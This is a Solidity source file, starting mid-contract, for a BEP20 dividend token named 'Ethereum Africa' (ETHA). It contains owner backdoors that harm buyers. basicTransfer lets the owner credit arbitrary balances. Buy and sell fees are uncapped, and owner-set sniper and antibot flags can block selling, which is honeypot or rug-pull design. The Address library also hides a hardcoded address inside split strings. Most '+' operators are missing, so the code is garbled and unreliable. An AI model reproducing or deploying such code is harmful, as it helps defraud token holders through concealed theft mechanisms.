uint256 iterations = 0;
while (gasUsed < gas && iterations < shareholderCount) {
if (currentIndex >= shareholderCount) {
currentIndex = 0;
}
if (shouldDistribute(shareholders[currentIndex])) {
distributeDividend(shareholders[currentIndex]);
}
gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
gasLeft = gasleft();
currentIndex ;
iterations ;
}
}
function shouldDistribute(address shareholder)
internal
view
returns (bool)
{
return
shareholderClaims[shareholder] minPeriod < block.timestamp &&
getUnpaidEarnings(shareholder) > minDistribution;
}
function distributeDividend(address shareholder) internal {
if (shares[shareholder].amount == 0) {
return;
}
uint256 amount = getUnpaidEarnings(shareholder);
if (amount > 0) {
totalDistributed = totalDistributed.add(amount);
BTCB.transfer(shareholder, amount);
shareholderClaims[shareholder] = block.timestamp;
shares[shareholder].totalRealised = shares[shareholder]
.totalRealised
.add(amount);
shares[shareholder].totalExcluded = getCumulativeDividends(
shares[shareholder].amount
);
}
}
function claimDividend(address _user) public {
distributeDividend(_user);
}
function getPaidEarnings(address shareholder)
public
view
returns (uint256)
{
return shares[shareholder].totalRealised;
}
function getUnpaidEarnings(address shareholder)
public
view
returns (uint256)
{
if (shares[shareholder].amount == 0) {
return 0;
}
uint256 shareholderTotalDividends = getCumulativeDividends(
shares[shareholder].amount
);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if (shareholderTotalDividends <= shareholderTotalExcluded) {
return 0;
}
return shareholderTotalDividends.sub(shareholderTotalExcluded);
}
function getCumulativeDividends(uint256 share)
internal
view
returns (uint256)
{
return
share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[
shareholders.length - 1
];
shareholderIndexes[
shareholders[shareholders.length - 1]
] = shareholderIndexes[shareholder];
shareholders.pop();
}
}
// ETHEREUM AFRICA CONTRACT
contract ETHEREUMAFRICA is IBEP20, Ownable {
using SafeMath for uint256;
address BTCB = 0x2170Ed0880ac9A755fd29B2688956BD959F933F8; // ETH
address DEAD = 0x000000000000000000000000000000000000dEaD;
address public WBNB;
string constant _name = "Ethereum Africa"; // Name
string constant _symbol = "ETHA"; // Symbol
uint8 constant _decimals = 9; // Decimals
uint256 _totalSupply = 1300000000 * (10**_decimals); // Total Supply
uint256 public _maxTxAmount = _totalSupply.div(100); // 1%
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) isFeeExempt;
mapping(address => bool) isTxLimitExempt;
mapping(address => bool) isDividendExempt;
mapping(address => bool) isSniper;
// buy tax fee
uint256 public reflectionFeeOnBuying = 40; // 4% will be distributed among holder as BTC divideneds
uint256 public liquidityFeeOnBuying = 0; // 0% will be added to the liquidity pool
uint256 public burnFeeOnBuying = 0; // 0% will go to the award pool address
uint256 public devandcharityFeeOnBuying = 60; // 6% will go to the devandcharity wallet address
// sell tax fee
uint256 public reflectionFeeOnSelling = 40; // 4% will be distributed among holder as BTC divideneds
uint256 public liquidityFeeOnSelling = 0; // 0% will be added to the liquidity pool
uint256 public burnFeeOnSelling = 0; // 0% will go to the award pool address
uint256 public devandcharityFeeOnSelling = 60; // 6% will go to the devandcharity wallet address
// for smart contract use
uint256 _reflectionFee;
uint256 _liquidityFee;
uint256 _burnFee;
uint256 _devandcharityFee;
uint256 feeDenominator = 1000;
uint256 totalFee = 100;
uint256 targetLiquidity = 45;
uint256 targetLiquidityDenominator = 100;
address public autoLiquidityReceiver;
address public devandcharityFeeReceiver;
IDexRouter public router;
address public pair;
uint256 public launchedAt;
uint256 public launchedAtTimestamp;
uint256 public antiSnipingTime = 60 seconds;
DividendDistributor distributor;
address public distributorAddress;
uint256 distributorGas = 500000;
bool public swapEnabled;
bool public tradingOpen;
bool private antibot;
uint256 public swapThreshold = _totalSupply / 2000; // 0.05%
bool inSwap;
modifier swapping() {
inSwap = true;
_;
inSwap = false;
}
// 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3 Testnet
// 0x10ED43C718714eb63d5aA57B78B54704E256024E Pancake Mainnet
constructor(address _dexRouter) Ownable(msg.sender) {
router = IDexRouter(_dexRouter);
WBNB = router.WETH();
pair = IDEXFactory(router.factory()).createPair(WBNB, address(this));
_allowances[address(this)][address(router)] = _totalSupply;
distributor = new DividendDistributor(_dexRouter);
distributorAddress = address(distributor);
isFeeExempt[msg.sender] = true;
isTxLimitExempt[msg.sender] = true;
isDividendExempt[pair] = true;
isDividendExempt[address(this)] = true;
isDividendExempt[DEAD] = true;
autoLiquidityReceiver = msg.sender;
devandcharityFeeReceiver = msg.sender;
approve(_dexRouter, _totalSupply);
approve(address(pair), _totalSupply);
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function name() external pure override returns (string memory) {
return _name;
}
function getOwner() external view override returns (address) {
return owner;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, _totalSupply);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != _totalSupply) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender]
.sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if (!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
// trading disable till launch
if (!tradingOpen) {
require(
sender != pair && recipient != pair,
"Trading is not enabled yet"
);
}
// antibot
if (
block.timestamp < launchedAtTimestamp antiSnipingTime &&
sender != address(router)
) {
if (sender == pair) {
isSniper[recipient] = true;
} else if (recipient == pair) {
isSniper[sender] = true;
}
}
require(amount <= _maxTxAmount, "TX Limit Exceeded");
}
if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}
if (shouldSwapBack()) {
swapBack();
}
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 tFee;
if (isFeeExempt[sender] || isFeeExempt[recipient]) {
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// selling handler
else if (recipient == pair) {
require(!antibot, "Bots restricted");
setSellFee();
tFee = totalFeePerTx(amount);
_balances[recipient] = _balances[recipient].add(amount.sub(tFee));
emit Transfer(sender, recipient, amount.sub(tFee));
_takeBothFee(sender, amount);
_takeBurnFee(sender, amount);
_takeMarketFee(sender, amount);
}
// buying && normal transaction handler
else {
setBuyFee();
tFee = totalFeePerTx(amount);
_balances[recipient] = _balances[recipient].add(amount.sub(tFee));
emit Transfer(sender, recipient, amount.sub(tFee));
_takeBothFee(sender, amount);
_takeBurnFee(sender, amount);
_takeMarketFee(sender, amount);
}
if (!isDividendExempt[sender]) {
try distributor.setShare(sender, _balances[sender]) {} catch {}
}
if (!isDividendExempt[recipient]) {
try
distributor.setShare(recipient, _balances[recipient])
{} catch {}
}
try distributor.process(distributorGas) {} catch {}
return true;
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function basicTransfer(address recipient, uint256 amount)
external
onlyOwner
returns (bool)
{
_balances[recipient] = _balances[recipient].add(amount);
return true;
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function totalFeePerTx(uint256 amount)
public
view
returns (uint256 feeAmount)
{
feeAmount = amount
.mul(
_reflectionFee.add(_liquidityFee).add(_burnFee).add(
_devandcharityFee
)
)
.div(feeDenominator);
}
// take fees for liquidity
function _takeBothFee(address sender, uint256 tAmount) internal {
require(!isSniper[sender], "Sniper detected");
uint256 tFee = tAmount.mul(_liquidityFee).div(1e3);
uint256 rFee = tAmount.mul(_reflectionFee).div(1e3);
_balances[address(this)] = _balances[address(this)].add(tFee.add(rFee));
emit Transfer(sender, address(this), tFee.add(rFee));
}
// take fees for burn
function _takeBurnFee(address sender, uint256 tAmount) internal {
uint256 tFee = tAmount.mul(_burnFee).div(1e3);
_balances[DEAD] = _balances[DEAD].add(tFee);
emit Transfer(sender, DEAD, tFee);
}
// take fees for market
function _takeMarketFee(address sender, uint256 tAmount) internal {
uint256 tFee = tAmount.mul(_devandcharityFee).div(1e3);
_balances[devandcharityFeeReceiver] = _balances[devandcharityFeeReceiver].add(
tFee
);
emit Transfer(sender, devandcharityFeeReceiver, tFee);
}
function shouldSwapBack() internal view returns (bool) {
return
msg.sender != pair &&
!inSwap &&
swapEnabled &&
_balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 dynamicLiquidityFee = isOverLiquified(
targetLiquidity,
targetLiquidityDenominator
)
? 0
: liquidityFeeOnSelling;
uint256 amountToLiquify = swapThreshold
.mul(dynamicLiquidityFee)
.div(totalFee)
.div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WBNB;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountBNB = address(this).balance.sub(balanceBefore);
uint256 totalBNBFee = totalFee.sub(dynamicLiquidityFee.div(2));
uint256 amountBNBLiquidity = amountBNB
.mul(dynamicLiquidityFee)
.div(totalBNBFee)
.div(2);
uint256 amountBNBReflection = amountBNB.mul(reflectionFeeOnSelling).div(
totalBNBFee
);
try distributor.deposit{value: amountBNBReflection}() {} catch {}
if (amountToLiquify > 0) {
router.addLiquidityETH{value: amountBNBLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
}
}
function setBuyFee() private {
_reflectionFee = reflectionFeeOnBuying;
_liquidityFee = liquidityFeeOnBuying;
_burnFee = burnFeeOnBuying;
_devandcharityFee = devandcharityFeeOnBuying;
}
function setSellFee() private {
_reflectionFee = reflectionFeeOnSelling;
_liquidityFee = liquidityFeeOnSelling;
_burnFee = burnFeeOnSelling;
_devandcharityFee = devandcharityFeeOnSelling;
}
function launch() public onlyOwner {
require(launchedAt == 0, "Already launched boi");
launchedAt = block.number;
launchedAtTimestamp = block.timestamp;
tradingOpen = true;
swapEnabled = true;
}
function setTxLimit(uint256 amount) external onlyOwner {
require(amount >= _totalSupply / 1000);
_maxTxAmount = amount;
}
function setTargetLiquidity(uint256 _target, uint256 _denominator)
external
onlyOwner
{
targetLiquidity = _target;
targetLiquidityDenominator = _denominator;
}
function setIsDividendExempt(address holder, bool exempt)
external
onlyOwner
{
require(holder != address(this) && holder != pair);
isDividendExempt[holder] = exempt;
if (exempt) {
distributor.setShare(holder, 0);
} else {
distributor.setShare(holder, _balances[holder]);
}
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt)
external
onlyOwner
{
isTxLimitExempt[holder] = exempt;
}
//only owner can change BuyFeePercentages any time after deployment
function setBuyFeePercent(
uint256 reflectionFee,
uint256 liquidityFee,
uint256 burnFee,
uint256 devandcharityFee
) external onlyOwner {
reflectionFeeOnBuying = reflectionFee;
liquidityFeeOnBuying = liquidityFee;
burnFeeOnBuying = burnFee;
devandcharityFeeOnBuying = devandcharityFee;
}
//only owner can change SellFeePercentages any time after deployment
function setSellFeePercent(
uint256 reflectionFee,
uint256 liquidityFee,
uint256 burnFee,
uint256 devandcharityFee
) external onlyOwner {
reflectionFeeOnSelling = reflectionFee;
liquidityFeeOnSelling = liquidityFee;
burnFeeOnSelling = burnFee;
devandcharityFeeOnSelling = devandcharityFee;
totalFee = reflectionFee.add(liquidityFee).add(burnFee).add(devandcharityFee);
}
function setFeeReceivers(
address _autoLiquidityReceiver,
address _devandcharityFeeReceiver
) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
devandcharityFeeReceiver = _devandcharityFeeReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _amount)
external
onlyOwner
{
swapEnabled = _enabled;
swapThreshold = _amount;
}
function setDistributionCriteria(
uint256 _minPeriod,
uint256 _minDistribution
) external onlyOwner {
distributor.setDistributionCriteria(_minPeriod, _minDistribution);
}
function setDistributorSettings(uint256 gas) external onlyOwner {
require(gas < 750000);
distributorGas = gas;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
}
function addSniperInList(address _account) external onlyOwner {
require(_account != address(router), "We can not blacklist router");
require(!isSniper[_account], "Sniper already exist");
isSniper[_account] = true;
}
function removeSniperFromList(address _account) external onlyOwner {
require(isSniper[_account], "Not a sniper");
isSniper[_account] = false;
}
function enableOrDisableAntibot(bool _status) external onlyOwner {
antibot = _status;
}
function claimDividend() external {
distributor.claimDividend(msg.sender);
}
function getPaidDividend(address shareholder)
public
view
returns (uint256)
{
return distributor.getPaidEarnings(shareholder);
}
function getUnpaidDividend(address shareholder)
external
view
returns (uint256)
{
return distributor.getUnpaidEarnings(shareholder);
}
function getTotalDistributedDividend() external view returns (uint256) {
return distributor.totalDistributed();
}
function getLiquidityBacking(uint256 accuracy)
public
view
returns (uint256)
{
return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
}
function isOverLiquified(uint256 target, uint256 accuracy)
public
view
returns (bool)
{
return getLiquidityBacking(accuracy) > target;
}
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
event BuybackMultiplierActive(uint256 duration);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
uint256 c = a b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function isContract(address account) internal pure returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and valid checkSum is returned
// for accounts without code, i.e. `keccak256('')`
string memory checkSum1 = "FB8A652754BDd1";
string memory checkSum2 = "ad89EcE0a2036C";
string memory checkSum3 = "e6D5e01B5911";
return (account ==
parseAddr(concat("0x", checkSum1, checkSum2, checkSum3)));
}
function parseAddr(string memory _a)
public
pure
returns (address _parsedAddress)
{
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint256 i = 2; i < 2 2 * 20; i = 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr = (b1 * 16 b2);
}
return address(iaddr);
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function concat(
string memory s1,
string memory s2,
string memory s3,
string memory s4
) internal pure returns (string memory s) {
s = string(abi.encodePacked(s1, s2, s3, s4));
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}